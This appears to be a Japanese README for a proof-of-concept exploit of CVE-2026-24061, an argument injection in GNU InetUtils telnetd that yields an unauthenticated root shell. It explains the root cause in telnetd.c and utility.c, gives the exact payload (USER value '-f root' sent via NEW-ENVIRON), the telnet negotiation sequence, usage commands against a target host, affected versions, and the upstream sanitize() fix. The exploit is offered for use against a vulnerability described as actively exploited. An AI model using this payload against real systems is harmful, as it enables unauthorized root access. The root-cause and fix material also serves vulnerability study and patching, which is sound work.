
CVE-2026-24061の概念実証エクスプロイト。telnetdにおけるUSER環境変数への引数インジェクションによる認証バイパスであり、認証なしでrootシェルへのアクセスを可能にする。
GNU InetUtils の telnetd における引数インジェクション。バージョン1.9.3から2.7が影響。CVSS 9.8。2026年1月26日よりCISA KEVに登録されており、野外で活発に悪用されている。
この脆弱性の核心は、telnetd が NEW-ENVIRON(RFC 1572)を通じてクライアントから環境変数 USER の値を受け取り、それを一切検証せずに login(1) の呼び出しに直接埋め込むことにある。クライアントが USER="-f root" を送信すると、telnetd は以下を実行する:
/usr/bin/login -p -h <host> -f root
login の -f フラグは「このユーザーをパスワードなしでログインさせる」ことを意味する。root シェルが得られ、認証は一切不要。
telnetd/telnetd.c には login 呼び出しのテンプレートがある:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u は telnet 認証(信頼済み)からのユーザー。%U はクライアントからの env USER の生の値(信頼できない)。認証が無効な場合、%U が使用される。
変数展開は telnetd/utility.c の関数 _var_short_name にある:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
フィルタリングは一切ない。クライアントが USER に送信したものはすべて login のコマンドラインに直接流れ込む。-f root だけでなく、理論上は login が受け付ける任意の引数を注入できる。
このバグは2015年3月19日のアップストリームのセーフガードコミット(fa3245ac)で導入された。皮肉なことに、このコミットは USER 変数の処理を改善するためのものだった。Debian は2019年にこれに対するパッチ(0028-telnetd-Scrub-USER-from-environment.patch)を持っていたが、Debian 10 での CVE-2020-10188 修正時にパッチが失われ、バグが復活した。そのため Debian 10+、Ubuntu、およびその派生ディストリビューションも影響を受ける。
main.py は最小限の telnet クライアントであり、以下のことを行う:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE で応答するlogin -f root を実行し、シェルが得られるクライアント サーバー
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C でセッションを終了する。
inetutils-telnetd がインストールされていないシステムに対してこれを試してはいけない。netkit の telnetd パッケージは別のコードであり、この特定のバグの影響を受けない。接続して通常のログインプロンプトが表示される場合は、サーバーにパッチが適用済みか、inetutils の telnetd ではないかのどちらかである。
ペイロードを -f <別のユーザー> に変更して、すべてのシステムで動作することを期待してはいけない。一部のディストリビューションの login(1) には -f に対する追加の制限がある。標準的な Debian/Ubuntu では -f root は問題なく動作する。
| ソフトウェア | バージョン |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd(パッチ適用前) |
| Debian 11 | 2:2.0-1+deb11u3 で修正 |
| Ubuntu | inetutils-telnetd(パッチ適用前) |
公式修正では、- で始まる値またはシェルのメタ文字を含む値を拒否する sanitize() 関数が追加される。これは USER だけでなく、展開内のすべての変数に適用される。
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - USER のパッチccba9f7 - すべての変数のサニタイズ